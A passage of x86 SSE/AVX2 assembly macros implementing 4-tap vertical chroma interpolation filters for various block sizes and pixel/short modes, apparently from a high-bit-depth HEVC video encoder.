; void interp_4tap_vertical_%1_6x8(int16_t *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride, int coeffIdx)
;-------------------------------------------------------------------------------------------------------------------
%macro FILTER_VER_CHROMA_W6 3
INIT_XMM sse4
cglobal interp_4tap_vert_%2_6x%1, 5, 7, %3
add r1d, r1d
add r3d, r3d
sub r0, r1
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffV]
lea r6, [r5 + r4]
%else
lea r6, [tab_ChromaCoeffV + r4]
%endif
mov r4d, %1/4
%ifnidn %2, ss
%ifnidn %2, ps
mova m7, [pw_pixel_max]
%ifidn %2, pp
mova m6, [INTERP_OFFSET_PP]
%else
mova m6, [INTERP_OFFSET_SP]
%endif
%else
mova m6, [INTERP_OFFSET_PS]
%endif
%endif
.loopH:
PROCESS_CHROMA_SP_W4_4R
%ifidn %2, ss
psrad m0, 6
psrad m1, 6
psrad m2, 6
psrad m3, 6
packssdw m0, m1
packssdw m2, m3
%elifidn %2, ps
paddd m0, m6
paddd m1, m6
paddd m2, m6
paddd m3, m6
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
psrad m3, INTERP_SHIFT_PS
packssdw m0, m1
packssdw m2, m3
%else
paddd m0, m6
paddd m1, m6
paddd m2, m6
paddd m3, m6
%ifidn %2, pp
psrad m0, INTERP_SHIFT_PP
psrad m1, INTERP_SHIFT_PP
psrad m2, INTERP_SHIFT_PP
psrad m3, INTERP_SHIFT_PP
%else
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
psrad m3, INTERP_SHIFT_SP
%endif
packssdw m0, m1
packssdw m2, m3
pxor m5, m5
CLIPW2 m0, m2, m5, m7
%endif
movh [r2], m0
movhps [r2 + r3], m0
lea r5, [r2 + 2 * r3]
movh [r5], m2
movhps [r5 + r3], m2
lea r5, [4 * r1 - 2 * 4]
sub r0, r5
add r2, 2 * 4
PROCESS_CHROMA_SP_W2_4R r6
%ifidn %2, ss
psrad m0, 6
psrad m2, 6
packssdw m0, m2
%elifidn %2, ps
paddd m0, m6
paddd m2, m6
psrad m0, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
packssdw m0, m2
%else
paddd m0, m6
paddd m2, m6
%ifidn %2, pp
psrad m0, INTERP_SHIFT_PP
psrad m2, INTERP_SHIFT_PP
%else
psrad m0, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
%endif
packusdw m0, m2
CLIPW m0, m5, m7
%endif
movd [r2], m0
pextrd [r2 + r3], m0, 1
lea r2, [r2 + 2 * r3]
pextrd [r2], m0, 2
pextrd [r2 + r3], m0, 3
sub r0, 2 * 4
lea r2, [r2 + 2 * r3 - 2 * 4]
dec r4d
jnz .loopH
RET
%endmacro
FILTER_VER_CHROMA_W6 8, ss, 6
FILTER_VER_CHROMA_W6 8, ps, 7
FILTER_VER_CHROMA_W6 8, sp, 8
FILTER_VER_CHROMA_W6 8, pp, 8
FILTER_VER_CHROMA_W6 16, ss, 6
FILTER_VER_CHROMA_W6 16, ps, 7
FILTER_VER_CHROMA_W6 16, sp, 8
FILTER_VER_CHROMA_W6 16, pp, 8
%macro PROCESS_CHROMA_SP_W8_2R 0
movu m1, [r0]
movu m3, [r0 + r1]
punpcklwd m0, m1, m3
pmaddwd m0, [r5 + 0 * 32] ;m0 = [0l+1l] Row1l
punpckhwd m1, m3
pmaddwd m1, [r5 + 0 * 32] ;m1 = [0h+1h] Row1h
movu m4, [r0 + 2 * r1]
punpcklwd m2, m3, m4
pmaddwd m2, [r5 + 0 * 32] ;m2 = [1l+2l] Row2l
punpckhwd m3, m4
pmaddwd m3, [r5 + 0 * 32] ;m3 = [1h+2h] Row2h
lea r0, [r0 + 2 * r1]
movu m5, [r0 + r1]
punpcklwd m6, m4, m5
pmaddwd m6, [r5 + 1 * 32] ;m6 = [2l+3l] Row1l
paddd m0, m6 ;m0 = [0l+1l+2l+3l] Row1l sum
punpckhwd m4, m5
pmaddwd m4, [r5 + 1 * 32] ;m6 = [2h+3h] Row1h
paddd m1, m4 ;m1 = [0h+1h+2h+3h] Row1h sum
movu m4, [r0 + 2 * r1]
punpcklwd m6, m5, m4
pmaddwd m6, [r5 + 1 * 32] ;m6 = [3l+4l] Row2l
paddd m2, m6 ;m2 = [1l+2l+3l+4l] Row2l sum
punpckhwd m5, m4
pmaddwd m5, [r5 + 1 * 32] ;m1 = [3h+4h] Row2h
paddd m3, m5 ;m3 = [1h+2h+3h+4h] Row2h sum
%endmacro
;----------------------------------------------------------------------------------------------------------------
; void interp_4tap_vert_%3_%1x%2(int16_t *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride, int coeffIdx)
;----------------------------------------------------------------------------------------------------------------
%macro FILTER_VER_CHROMA_W8 4
INIT_XMM sse2
cglobal interp_4tap_vert_%3_%1x%2, 5, 6, %4
add r1d, r1d
add r3d, r3d
sub r0, r1
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffV]
lea r5, [r5 + r4]
%else
lea r5, [tab_ChromaCoeffV + r4]
%endif
mov r4d, %2/2
%ifidn %3, pp
mova m7, [INTERP_OFFSET_PP]
%elifidn %3, sp
mova m7, [INTERP_OFFSET_SP]
%elifidn %3, ps
mova m7, [INTERP_OFFSET_PS]
%endif
.loopH:
PROCESS_CHROMA_SP_W8_2R
%ifidn %3, ss
psrad m0, 6
psrad m1, 6
psrad m2, 6
psrad m3, 6
packssdw m0, m1
packssdw m2, m3
%elifidn %3, ps
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
psrad m3, INTERP_SHIFT_PS
packssdw m0, m1
packssdw m2, m3
%else
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
%ifidn %3, pp
psrad m0, INTERP_SHIFT_PP
psrad m1, INTERP_SHIFT_PP
psrad m2, INTERP_SHIFT_PP
psrad m3, INTERP_SHIFT_PP
%else
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
psrad m3, INTERP_SHIFT_SP
%endif
packssdw m0, m1
packssdw m2, m3
pxor m5, m5
mova m6, [pw_pixel_max]
CLIPW2 m0, m2, m5, m6
%endif
movu [r2], m0
movu [r2 + r3], m2
lea r2, [r2 + 2 * r3]
dec r4d
jnz .loopH
RET
%endmacro
FILTER_VER_CHROMA_W8 8, 2, ss, 7
FILTER_VER_CHROMA_W8 8, 4, ss, 7
FILTER_VER_CHROMA_W8 8, 6, ss, 7
FILTER_VER_CHROMA_W8 8, 8, ss, 7
FILTER_VER_CHROMA_W8 8, 16, ss, 7
FILTER_VER_CHROMA_W8 8, 32, ss, 7
FILTER_VER_CHROMA_W8 8, 2, sp, 8
FILTER_VER_CHROMA_W8 8, 4, sp, 8
FILTER_VER_CHROMA_W8 8, 6, sp, 8
FILTER_VER_CHROMA_W8 8, 8, sp, 8
FILTER_VER_CHROMA_W8 8, 16, sp, 8
FILTER_VER_CHROMA_W8 8, 32, sp, 8
FILTER_VER_CHROMA_W8 8, 2, ps, 8
FILTER_VER_CHROMA_W8 8, 4, ps, 8
FILTER_VER_CHROMA_W8 8, 6, ps, 8
FILTER_VER_CHROMA_W8 8, 8, ps, 8
FILTER_VER_CHROMA_W8 8, 16, ps, 8
FILTER_VER_CHROMA_W8 8, 32, ps, 8
FILTER_VER_CHROMA_W8 8, 2, pp, 8
FILTER_VER_CHROMA_W8 8, 4, pp, 8
FILTER_VER_CHROMA_W8 8, 6, pp, 8
FILTER_VER_CHROMA_W8 8, 8, pp, 8
FILTER_VER_CHROMA_W8 8, 16, pp, 8
FILTER_VER_CHROMA_W8 8, 32, pp, 8
FILTER_VER_CHROMA_W8 8, 12, ss, 7
FILTER_VER_CHROMA_W8 8, 64, ss, 7
FILTER_VER_CHROMA_W8 8, 12, sp, 8
FILTER_VER_CHROMA_W8 8, 64, sp, 8
FILTER_VER_CHROMA_W8 8, 12, ps, 8
FILTER_VER_CHROMA_W8 8, 64, ps, 8
FILTER_VER_CHROMA_W8 8, 12, pp, 8
FILTER_VER_CHROMA_W8 8, 64, pp, 8
%macro PROCESS_CHROMA_VERT_W16_2R 0
movu m1, [r0]
movu m3, [r0 + r1]
punpcklwd m0, m1, m3
pmaddwd m0, [r5 + 0 * 32]
punpckhwd m1, m3
pmaddwd m1, [r5 + 0 * 32]
movu m4, [r0 + 2 * r1]
punpcklwd m2, m3, m4
pmaddwd m2, [r5 + 0 * 32]
punpckhwd m3, m4
pmaddwd m3, [r5 + 0 * 32]
lea r0, [r0 + 2 * r1]
movu m5, [r0 + r1]
punpcklwd m6, m4, m5
pmaddwd m6, [r5 + 1 * 32]
paddd m0, m6
punpckhwd m4, m5
pmaddwd m4, [r5 + 1 * 32]
paddd m1, m4
movu m4, [r0 + 2 * r1]
punpcklwd m6, m5, m4
pmaddwd m6, [r5 + 1 * 32]
paddd m2, m6
punpckhwd m5, m4
pmaddwd m5, [r5 + 1 * 32]
paddd m3, m5
%endmacro
;-----------------------------------------------------------------------------------------------------------------
; void interp_4tap_vert(int16_t *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride, int coeffIdx)
;-----------------------------------------------------------------------------------------------------------------
%macro FILTER_VER_CHROMA_AVX2_6xN 2
INIT_YMM avx2
%if ARCH_X86_64
cglobal interp_4tap_vert_%2_6x%1, 4, 7, 10
mov r4d, r4m
add r1d, r1d
add r3d, r3d
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffV]
add r5, r4
%else
lea r5, [tab_ChromaCoeffV + r4]
%endif
sub r0, r1
mov r6d, %1/4
%ifidn %2,pp
vbroadcasti128 m8, [INTERP_OFFSET_PP]
%elifidn %2, sp
vbroadcasti128 m8, [INTERP_OFFSET_SP]
%else
vbroadcasti128 m8, [INTERP_OFFSET_PS]
%endif
.loopH:
movu xm0, [r0]
movu xm1, [r0 + r1]
punpckhwd xm2, xm0, xm1
punpcklwd xm0, xm1
vinserti128 m0, m0, xm2, 1
pmaddwd m0, [r5]
movu xm2, [r0 + r1 * 2]
punpckhwd xm3, xm1, xm2
punpcklwd xm1, xm2
vinserti128 m1, m1, xm3, 1
pmaddwd m1, [r5]
lea r4, [r1 * 3]
movu xm3, [r0 + r4]
punpckhwd xm4, xm2, xm3
punpcklwd xm2, xm3
vinserti128 m2, m2, xm4, 1
pmaddwd m4, m2, [r5 + 1 * mmsize]
pmaddwd m2, [r5]
paddd m0, m4
lea r0, [r0 + r1 * 4]
movu xm4, [r0]
punpckhwd xm5, xm3, xm4
punpcklwd xm3, xm4
vinserti128 m3, m3, xm5, 1
pmaddwd m5, m3, [r5 + 1 * mmsize]
pmaddwd m3, [r5]
paddd m1, m5
movu xm5, [r0 + r1]
punpckhwd xm6, xm4, xm5
punpcklwd xm4, xm5
vinserti128 m4, m4, xm6, 1
pmaddwd m6, m4, [r5 + 1 * mmsize]
pmaddwd m4, [r5]
paddd m2, m6
movu xm6, [r0 + r1 * 2]
punpckhwd xm7, xm5, xm6
punpcklwd xm5, xm6
vinserti128 m5, m5, xm7, 1
pmaddwd m7, m5, [r5 + 1 * mmsize]
pmaddwd m5, [r5]
paddd m3, m7
lea r4, [r3 * 3]
%ifidn %2,ss
psrad m0, 6
psrad m1, 6
psrad m2, 6
psrad m3, 6
%else
paddd m0, m8
paddd m1, m8
paddd m2, m8
paddd m3, m8
%ifidn %2,pp
psrad m0, INTERP_SHIFT_PP
psrad m1, INTERP_SHIFT_PP
psrad m2, INTERP_SHIFT_PP
psrad m3, INTERP_SHIFT_PP
%elifidn %2, sp
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
psrad m3, INTERP_SHIFT_SP
%else
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
psrad m3, INTERP_SHIFT_PS
%endif
%endif
packssdw m0, m1
packssdw m2, m3
vpermq m0, m0, q3120
vpermq m2, m2, q3120
pxor m5, m5
mova m9, [pw_pixel_max]
%ifidn %2,pp
CLIPW m0, m5, m9
CLIPW m2, m5, m9
%elifidn %2, sp
CLIPW m0, m5, m9
CLIPW m2, m5, m9
%endif
vextracti128 xm1, m0, 1
vextracti128 xm3, m2, 1
movq [r2], xm0
pextrd [r2 + 8], xm0, 2
movq [r2 + r3], xm1
pextrd [r2 + r3 + 8], xm1, 2
movq [r2 + r3 * 2], xm2
pextrd [r2 + r3 * 2 + 8], xm2, 2
movq [r2 + r4], xm3
pextrd [r2 + r4 + 8], xm3, 2
lea r2, [r2 + r3 * 4]
dec r6d
jnz .loopH
RET
%endif
%endmacro
FILTER_VER_CHROMA_AVX2_6xN 8, pp
FILTER_VER_CHROMA_AVX2_6xN 8, ps
FILTER_VER_CHROMA_AVX2_6xN 8, ss
FILTER_VER_CHROMA_AVX2_6xN 8, sp
FILTER_VER_CHROMA_AVX2_6xN 16, pp
FILTER_VER_CHROMA_AVX2_6xN 16, ps
FILTER_VER_CHROMA_AVX2_6xN 16, ss
FILTER_VER_CHROMA_AVX2_6xN 16, sp
;-----------------------------------------------------------------------------------------------------------------
; void interp_4tap_vert(int16_t *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride, int coeffIdx)
;-----------------------------------------------------------------------------------------------------------------
%macro FILTER_VER_CHROMA_W16_16xN_avx2 3
INIT_YMM avx2
cglobal interp_4tap_vert_%2_16x%1, 5, 6, %3
add r1d, r1d
add r3d, r3d
sub r0, r1
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffV]
lea r5, [r5 + r4]
%else
lea r5, [tab_ChromaCoeffV + r4]
%endif
mov r4d, %1/2
%ifidn %2, pp
vbroadcasti128 m7, [INTERP_OFFSET_PP]
%elifidn %2, sp
vbroadcasti128 m7, [INTERP_OFFSET_SP]
%elifidn %2, ps
vbroadcasti128 m7, [INTERP_OFFSET_PS]
%endif
.loopH:
PROCESS_CHROMA_VERT_W16_2R
%ifidn %2, ss
psrad m0, 6
psrad m1, 6
psrad m2, 6
psrad m3, 6
packssdw m0, m1
packssdw m2, m3
%elifidn %2, ps
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
psrad m3, INTERP_SHIFT_PS
packssdw m0, m1
packssdw m2, m3
%else
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
%ifidn %2, pp
psrad m0, INTERP_SHIFT_PP
psrad m1, INTERP_SHIFT_PP
psrad m2, INTERP_SHIFT_PP
psrad m3, INTERP_SHIFT_PP
%else
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
psrad m3, INTERP_SHIFT_SP
%endif
packssdw m0, m1
packssdw m2, m3
pxor m5, m5
CLIPW2 m0, m2, m5, [pw_pixel_max]
%endif
movu [r2], m0
movu [r2 + r3], m2
lea r2, [r2 + 2 * r3]
dec r4d
jnz .loopH
RET
%endmacro
FILTER_VER_CHROMA_W16_16xN_avx2 4, pp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 8, pp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 12, pp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 24, pp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 16, pp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 32, pp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 64, pp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 4, ps, 8
FILTER_VER_CHROMA_W16_16xN_avx2 8, ps, 8
FILTER_VER_CHROMA_W16_16xN_avx2 12, ps, 8
FILTER_VER_CHROMA_W16_16xN_avx2 24, ps, 8
FILTER_VER_CHROMA_W16_16xN_avx2 16, ps, 8
FILTER_VER_CHROMA_W16_16xN_avx2 32, ps, 8
FILTER_VER_CHROMA_W16_16xN_avx2 64, ps, 8
FILTER_VER_CHROMA_W16_16xN_avx2 4, ss, 7
FILTER_VER_CHROMA_W16_16xN_avx2 8, ss, 7
FILTER_VER_CHROMA_W16_16xN_avx2 12, ss, 7
FILTER_VER_CHROMA_W16_16xN_avx2 24, ss, 7
FILTER_VER_CHROMA_W16_16xN_avx2 16, ss, 7
FILTER_VER_CHROMA_W16_16xN_avx2 32, ss, 7
FILTER_VER_CHROMA_W16_16xN_avx2 64, ss, 7
FILTER_VER_CHROMA_W16_16xN_avx2 4, sp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 8, sp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 12, sp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 24, sp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 16, sp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 32, sp, 8
FILTER_VER_CHROMA_W16_16xN_avx2 64, sp, 8
%macro PROCESS_CHROMA_VERT_W32_2R 0
movu m1, [r0]
movu m3, [r0 + r1]
punpcklwd m0, m1, m3
pmaddwd m0, [r5 + 0 * mmsize]
punpckhwd m1, m3
pmaddwd m1, [r5 + 0 * mmsize]
movu m9, [r0 + mmsize]
movu m11, [r0 + r1 + mmsize]
punpcklwd m8, m9, m11
pmaddwd m8, [r5 + 0 * mmsize]
punpckhwd m9, m11
pmaddwd m9, [r5 + 0 * mmsize]
movu m4, [r0 + 2 * r1]
punpcklwd m2, m3, m4
pmaddwd m2, [r5 + 0 * mmsize]
punpckhwd m3, m4
pmaddwd m3, [r5 + 0 * mmsize]
movu m12, [r0 + 2 * r1 + mmsize]
punpcklwd m10, m11, m12
pmaddwd m10, [r5 + 0 * mmsize]
punpckhwd m11, m12
pmaddwd m11, [r5 + 0 * mmsize]
lea r6, [r0 + 2 * r1]
movu m5, [r6 + r1]
punpcklwd m6, m4, m5
pmaddwd m6, [r5 + 1 * mmsize]
paddd m0, m6
punpckhwd m4, m5
pmaddwd m4, [r5 + 1 * mmsize]
paddd m1, m4
movu m13, [r6 + r1 + mmsize]
punpcklwd m14, m12, m13
pmaddwd m14, [r5 + 1 * mmsize]
paddd m8, m14
punpckhwd m12, m13
pmaddwd m12, [r5 + 1 * mmsize]
paddd m9, m12
movu m4, [r6 + 2 * r1]
punpcklwd m6, m5, m4
pmaddwd m6, [r5 + 1 * mmsize]
paddd m2, m6
punpckhwd m5, m4
pmaddwd m5, [r5 + 1 * mmsize]
paddd m3, m5
movu m12, [r6 + 2 * r1 + mmsize]
punpcklwd m14, m13, m12
pmaddwd m14, [r5 + 1 * mmsize]
paddd m10, m14
punpckhwd m13, m12
pmaddwd m13, [r5 + 1 * mmsize]
paddd m11, m13
%endmacro
;-----------------------------------------------------------------------------------------------------------------
; void interp_4tap_vert(int16_t *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride, int coeffIdx)
;-----------------------------------------------------------------------------------------------------------------
%macro FILTER_VER_CHROMA_W16_32xN_avx2 3
INIT_YMM avx2
%if ARCH_X86_64
cglobal interp_4tap_vert_%2_32x%1, 5, 7, %3
add r1d, r1d
add r3d, r3d
sub r0, r1
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffV]
lea r5, [r5 + r4]
%else
lea r5, [tab_ChromaCoeffV + r4]
%endif
mov r4d, %1/2
%ifidn %2, pp
vbroadcasti128 m7, [INTERP_OFFSET_PP]
%elifidn %2, sp
vbroadcasti128 m7, [INTERP_OFFSET_SP]
%elifidn %2, ps
vbroadcasti128 m7, [INTERP_OFFSET_PS]
%endif
.loopH:
PROCESS_CHROMA_VERT_W32_2R
%ifidn %2, ss
psrad m0, 6
psrad m1, 6
psrad m2, 6
psrad m3, 6
psrad m8, 6
psrad m9, 6
psrad m10, 6
psrad m11, 6
packssdw m0, m1
packssdw m2, m3
packssdw m8, m9
packssdw m10, m11
%elifidn %2, ps
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
psrad m3, INTERP_SHIFT_PS
paddd m8, m7
paddd m9, m7
paddd m10, m7
paddd m11, m7
psrad m8, INTERP_SHIFT_PS
psrad m9, INTERP_SHIFT_PS
psrad m10, INTERP_SHIFT_PS
psrad m11, INTERP_SHIFT_PS
packssdw m0, m1
packssdw m2, m3
packssdw m8, m9
packssdw m10, m11
%else
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
paddd m8, m7
paddd m9, m7
paddd m10, m7
paddd m11, m7
%ifidn %2, pp
psrad m0, INTERP_SHIFT_PP
psrad m1, INTERP_SHIFT_PP
psrad m2, INTERP_SHIFT_PP
psrad m3, INTERP_SHIFT_PP
psrad m8, INTERP_SHIFT_PP
psrad m9, INTERP_SHIFT_PP
psrad m10, INTERP_SHIFT_PP
psrad m11, INTERP_SHIFT_PP
%else
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
psrad m3, INTERP_SHIFT_SP
psrad m8, INTERP_SHIFT_SP
psrad m9, INTERP_SHIFT_SP
psrad m10, INTERP_SHIFT_SP
psrad m11, INTERP_SHIFT_SP
%endif
packssdw m0, m1
packssdw m2, m3
packssdw m8, m9
packssdw m10, m11
pxor m5, m5
CLIPW2 m0, m2, m5, [pw_pixel_max]
CLIPW2 m8, m10, m5, [pw_pixel_max]
%endif
movu [r2], m0
movu [r2 + r3], m2
movu [r2 + mmsize], m8
movu [r2 + r3 + mmsize], m10
lea r2, [r2 + 2 * r3]
lea r0, [r0 + 2 * r1]
dec r4d
jnz .loopH
RET
%endif
%endmacro
FILTER_VER_CHROMA_W16_32xN_avx2 8, pp, 15
FILTER_VER_CHROMA_W16_32xN_avx2 16, pp, 15
FILTER_VER_CHROMA_W16_32xN_avx2 24, pp, 15
FILTER_VER_CHROMA_W16_32xN_avx2 32, pp, 15
FILTER_VER_CHROMA_W16_32xN_avx2 48, pp, 15
FILTER_VER_CHROMA_W16_32xN_avx2 64, pp, 15
FILTER_VER_CHROMA_W16_32xN_avx2 8, ps, 15
FILTER_VER_CHROMA_W16_32xN_avx2 16, ps, 15
FILTER_VER_CHROMA_W16_32xN_avx2 24, ps, 15
FILTER_VER_CHROMA_W16_32xN_avx2 32, ps, 15
FILTER_VER_CHROMA_W16_32xN_avx2 48, ps, 15
FILTER_VER_CHROMA_W16_32xN_avx2 64, ps, 15
FILTER_VER_CHROMA_W16_32xN_avx2 8, ss, 15
FILTER_VER_CHROMA_W16_32xN_avx2 16, ss, 15
FILTER_VER_CHROMA_W16_32xN_avx2 24, ss, 15
FILTER_VER_CHROMA_W16_32xN_avx2 32, ss, 15
FILTER_VER_CHROMA_W16_32xN_avx2 48, ss, 15
FILTER_VER_CHROMA_W16_32xN_avx2 64, ss, 15
FILTER_VER_CHROMA_W16_32xN_avx2 8, sp, 15
FILTER_VER_CHROMA_W16_32xN_avx2 16, sp, 15
FILTER_VER_CHROMA_W16_32xN_avx2 24, sp, 15
FILTER_VER_CHROMA_W16_32xN_avx2 32, sp, 15
FILTER_VER_CHROMA_W16_32xN_avx2 48, sp, 15
FILTER_VER_CHROMA_W16_32xN_avx2 64, sp, 15
;-----------------------------------------------------------------------------------------------------------------
; void interp_4tap_vert(int16_t *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride, int coeffIdx)
;-----------------------------------------------------------------------------------------------------------------
%macro FILTER_VER_CHROMA_W16_64xN_avx2 3
INIT_YMM avx2
cglobal interp_4tap_vert_%2_64x%1, 5, 7, %3
add r1d, r1d
add r3d, r3d
sub r0, r1
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffV]
lea r5, [r5 + r4]
%else
lea r5, [tab_ChromaCoeffV + r4]
%endif
mov r4d, %1/2
%ifidn %2, pp
vbroadcasti128 m7, [INTERP_OFFSET_PP]
%elifidn %2, sp
vbroadcasti128 m7, [INTERP_OFFSET_SP]
%elifidn %2, ps
vbroadcasti128 m7, [INTERP_OFFSET_PS]
%endif
.loopH:
%assign x 0
%rep 4
movu m1, [r0 + x]
movu m3, [r0 + r1 + x]
movu m5, [r5 + 0 * mmsize]
punpcklwd m0, m1, m3
pmaddwd m0, m5
punpckhwd m1, m3
pmaddwd m1, m5
movu m4, [r0 + 2 * r1 + x]
punpcklwd m2, m3, m4
pmaddwd m2, m5
punpckhwd m3, m4
pmaddwd m3, m5
lea r6, [r0 + 2 * r1]
movu m5, [r6 + r1 + x]
punpcklwd m6, m4, m5
pmaddwd m6, [r5 + 1 * mmsize]
paddd m0, m6
punpckhwd m4, m5
pmaddwd m4, [r5 + 1 * mmsize]
paddd m1, m4
movu m4, [r6 + 2 * r1 + x]
punpcklwd m6, m5, m4
pmaddwd m6, [r5 + 1 * mmsize]
paddd m2, m6
punpckhwd m5, m4
pmaddwd m5, [r5 + 1 * mmsize]
paddd m3, m5
%ifidn %2, ss
psrad m0, 6
psrad m1, 6
psrad m2, 6
psrad m3, 6
packssdw m0, m1
packssdw m2, m3
%elifidn %2, ps
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
psrad m3, INTERP_SHIFT_PS
packssdw m0, m1
packssdw m2, m3
%else
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
%ifidn %2, pp
psrad m0, INTERP_SHIFT_PP
psrad m1, INTERP_SHIFT_PP
psrad m2, INTERP_SHIFT_PP
psrad m3, INTERP_SHIFT_PP
%else
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
psrad m3, INTERP_SHIFT_SP
%endif
packssdw m0, m1
packssdw m2, m3
pxor m5, m5
CLIPW2 m0, m2, m5, [pw_pixel_max]
%endif
movu [r2 + x], m0
movu [r2 + r3 + x], m2
%assign x x+mmsize
%endrep
lea r2, [r2 + 2 * r3]
lea r0, [r0 + 2 * r1]
dec r4d
jnz .loopH
RET
%endmacro
FILTER_VER_CHROMA_W16_64xN_avx2 16, ss, 7
FILTER_VER_CHROMA_W16_64xN_avx2 32, ss, 7
FILTER_VER_CHROMA_W16_64xN_avx2 48, ss, 7
FILTER_VER_CHROMA_W16_64xN_avx2 64, ss, 7
FILTER_VER_CHROMA_W16_64xN_avx2 16, sp, 8
FILTER_VER_CHROMA_W16_64xN_avx2 32, sp, 8
FILTER_VER_CHROMA_W16_64xN_avx2 48, sp, 8
FILTER_VER_CHROMA_W16_64xN_avx2 64, sp, 8
FILTER_VER_CHROMA_W16_64xN_avx2 16, ps, 8
FILTER_VER_CHROMA_W16_64xN_avx2 32, ps, 8
FILTER_VER_CHROMA_W16_64xN_avx2 48, ps, 8
FILTER_VER_CHROMA_W16_64xN_avx2 64, ps, 8
FILTER_VER_CHROMA_W16_64xN_avx2 16, pp, 8
FILTER_VER_CHROMA_W16_64xN_avx2 32, pp, 8
FILTER_VER_CHROMA_W16_64xN_avx2 48, pp, 8
FILTER_VER_CHROMA_W16_64xN_avx2 64, pp, 8
;-----------------------------------------------------------------------------------------------------------------
; void interp_4tap_vert(int16_t *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride, int coeffIdx)
;-----------------------------------------------------------------------------------------------------------------
%macro FILTER_VER_CHROMA_W16_12xN_avx2 3
INIT_YMM avx2
cglobal interp_4tap_vert_%2_12x%1, 5, 8, %3
add r1d, r1d
add r3d, r3d
sub r0, r1
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffV]
lea r5, [r5 + r4]
%else
lea r5, [tab_ChromaCoeffV + r4]
%endif
mov r4d, %1/2
%ifidn %2, pp
vbroadcasti128 m7, [INTERP_OFFSET_PP]
%elifidn %2, sp
vbroadcasti128 m7, [INTERP_OFFSET_SP]
%elifidn %2, ps
vbroadcasti128 m7, [INTERP_OFFSET_PS]
%endif
.loopH:
PROCESS_CHROMA_VERT_W16_2R
%ifidn %2, ss
psrad m0, 6
psrad m1, 6
psrad m2, 6
psrad m3, 6
packssdw m0, m1
packssdw m2, m3
%elifidn %2, ps
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
psrad m3, INTERP_SHIFT_PS
packssdw m0, m1
packssdw m2, m3
%else
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
%ifidn %2, pp
psrad m0, INTERP_SHIFT_PP
psrad m1, INTERP_SHIFT_PP
psrad m2, INTERP_SHIFT_PP
psrad m3, INTERP_SHIFT_PP
%else
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
psrad m3, INTERP_SHIFT_SP
%endif
packssdw m0, m1
packssdw m2, m3
pxor m5, m5
CLIPW2 m0, m2, m5, [pw_pixel_max]
%endif
movu [r2], xm0
movu [r2 + r3], xm2
vextracti128 xm0, m0, 1
vextracti128 xm2, m2, 1
movq [r2 + 16], xm0
movq [r2 + r3 + 16], xm2
lea r2, [r2 + 2 * r3]
dec r4d
jnz .loopH
RET
%endmacro
FILTER_VER_CHROMA_W16_12xN_avx2 16, ss, 7
FILTER_VER_CHROMA_W16_12xN_avx2 16, sp, 8
FILTER_VER_CHROMA_W16_12xN_avx2 16, ps, 8
FILTER_VER_CHROMA_W16_12xN_avx2 16, pp, 8
